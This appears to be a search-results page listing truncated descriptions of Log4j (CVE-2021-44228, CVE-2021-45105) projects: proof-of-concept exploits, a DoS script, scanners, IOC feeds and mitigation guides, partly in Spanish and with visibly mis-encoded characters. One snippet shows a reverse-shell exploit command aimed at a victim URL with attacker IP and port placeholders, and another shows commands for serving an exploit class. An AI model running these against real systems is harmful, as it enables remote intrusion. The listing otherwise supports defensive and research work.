314 matches found
Log4j_dos_CVE-2021-45105
Log4j2 DOS CVE-2021-45105 Poc root@kitploit: $$::-$::-$$::-$ Versions Affected: all versions from 2.0-beta9 to 2.16.0 This application is based on Spring Boot web application vulnerable to CVE-2021-45105 It uses Log4j 2.16.0 Running the application Run it: root@kitploit: Import the project in Jav...
CVE-2021-44228
CVE-2021-44228 Analysis How does it work? Below is a detailed process of a remote injection case by exploiting log4shell vulnerability. First, there are 3 part we need to know: 1. Log4j2 allows for the logging of data using a feature called message lookup substitution , where log messages can...
log4shell-iocs
Log4Shell-IOCs IOC feeds curated by WatchGuard Threat Lab that contain recent attempts to probe or exploit CVE-2021-44228 in Log4j2 Analyst Comments 2021-12-17 Threats shared in this feed should be used for THREAT HUNTING and added to a WATCHLIST. We strongly recommend NOT adding them to a...
log4j2_dos_exploit
DescripciĆ³n autor: ęč¶ ęē blog: https://www.cnblogs.com/iAmSoScArEd/ github: https://github.com/iAmSOScArEd/ fecha: 2021-12-20 log4j2 dos exploit script de explotaciĆ³n de log4j2 dos CVE-2021-45105 Exploit Script de explotaciĆ³n de CVE-2021-45105 Modo de uso InglĆ©sļ¼ root@kitploit: Log4j2dos.py -u -m ...
Log4j-PoC
Proof of Concept for Log4j CVE-2021-44228 Disclaimer This project is only for educational purposes. Introduction This is a proof of concept of the log4j rce adapted from HyCraftHD. Here are some links for the CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day...
Log4j2-CVE-2021-44228
CVE-2021-44228 Remote Code Injection In Log4j https://twitter.com/jas502n/status/1468946197629272066 SpringBoot-pom.xml uso predeterminado : xml org.springframework.boot spring-boot-starter-web root@kitploit: mvn dependency:treejava INFO | | +-...
CVE-2021-44228-PoC
CVE-2021-44228 Log4Shell Prueba de concepto Las funciones JNDI de Apache Log4j2 =2.14.1 utilizadas en la configuraciĆ³n, los mensajes de registro y los parĆ”metros no protegen contra LDAP controlado por el atacante y otros endpoints relacionados con JNDI. Un atacante que pueda controlar los mensaje...
CVE-2021-44228-Scanner
log4j2-scan es una herramienta de lĆnea de comandos de un solo binario para el escaneo de vulnerabilidades y parche de mitigaciĆ³n de CVE-2021-44228. TambiĆ©n admite el escaneo y parcheo de archivos JAR anidados. Descarga log4j2-scan 1.3.1 Windows x64 Si el ejecutable nativo no funciona, usa el JAR...
checkmk-log4j-scanner
extensiĆ³n de checkmk para comprobar log4j2 CVE-2021-44228 Este plugin envuelve logpresso/CVE-2021-44228-Scanner Licencia Apache 2.0 CĆ³mo funciona EjecuciĆ³n en 5 pasos: 1. Busca todos los archivos .jar, .war, .ear y .aar de forma recursiva. 2. Busca la entrada...
Log4j2-CVE-2021-44228-revshell
Log4j2-CVE-2021-44228-revshell Uso root@kitploit: Para reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort Para comprobar si es explotable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -...
log4j2-exploit
Log4Shell CVE-2021-44228 prueba de concepto Requisitos Java JDK/JRE 8 o una versiĆ³n posterior curl exploitable AplicaciĆ³n simple de Spring Boot que sirve una pĆ”gina de inicio de sesiĆ³n con usuario y contraseƱa. Registra el nombre de usuario cuando se envĆa por POST a /. No es necesario que la...
log4shell-example
Log4Shell Exploit Test The goal of this project is to demonstrate the log4j cve-2021-44228 exploit vulnerability in a spring-boot setup, and to show how to fix it. This project contains three submodules. One of these has vulnerable code, the other two are patched. How to use this project Run ./mv...
CVE-2021-44228-Scanner
log4j2-scan es una herramienta de lĆnea de comandos binaria Ćŗnica para escanear y aplicar parches de mitigaciĆ³n de la vulnerabilidad CVE-2021-44228. TambiĆ©n admite el escaneo y parcheo de archivos JAR anidados. AdemĆ”s, detecta las vulnerabilidades CVE-2021-45046 log4j 2.15.0, CVE-2021-45105 log4j...
log4j2burpscanner
SOLO PARA PRUEBAS, NO ATAQUES A NADIE SOLO PARA PRUEBAS, NO ATAQUES A NADIE SOLO PARA PRUEBAS, NO ATAQUES A NADIE Grupo de discusiĆ³n Si el cĆ³digo QR no funciona, agrega WeChat f-f0ng, comentario log4j2burpscanner para intercambio Sigue la cuenta oficial de WeChat only security, responde...
log4j-filescan
āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā āāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāāā...
Log4jShell-Scan
Overview log4j2 RCE vulnerability CVE-2021-44228 intranet scanner, can be used for vulnerability scanning under the condition of no internet access, helping enterprises quickly discover Log4Shell vulnerabilities. Modified from: https://github.com/fullhunt/log4j-scan JNDIMonitor from:...
apache-tomcat-log4j
POC de la vulnerabilidad CVE-2021-44228 de Log4j2 en Apache Tomcat Vista previa ConfiguraciĆ³n Iniciar el servidor Tomcat root@kitploit: git clone cd apache-tomcat-10.0.14/bin startup.bat Servir la clase exploit root@kitploit: cd exploit py -m http.server 8888 root@kitploit: cd exploit java -cp...
Log4j2-RCE
Log4j2-RCE Log4j2 CVE-2021-44228 Reproduction and Echo Exploit...
log4shell-mitigation
Details and Mitigation Strategy for log4j2 RCE Vulnerability Visit this Youtube video for additional details. https://youtu.be/jqWdwTeGRK0 This is a quick post on the mitigation for CVE-2021-44228 Security Vulnerability aka Log4Shell and LogJam found in log4j2 Disclaimer All the information and...
Log4J-RCE-Proof-Of-Concept
Log4J-RCE-Proof-Of-Concept CVE-2021-44228 Esta es una prueba de concepto del RCE de log4j. AquĆ hay algunos enlaces sobre el CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608...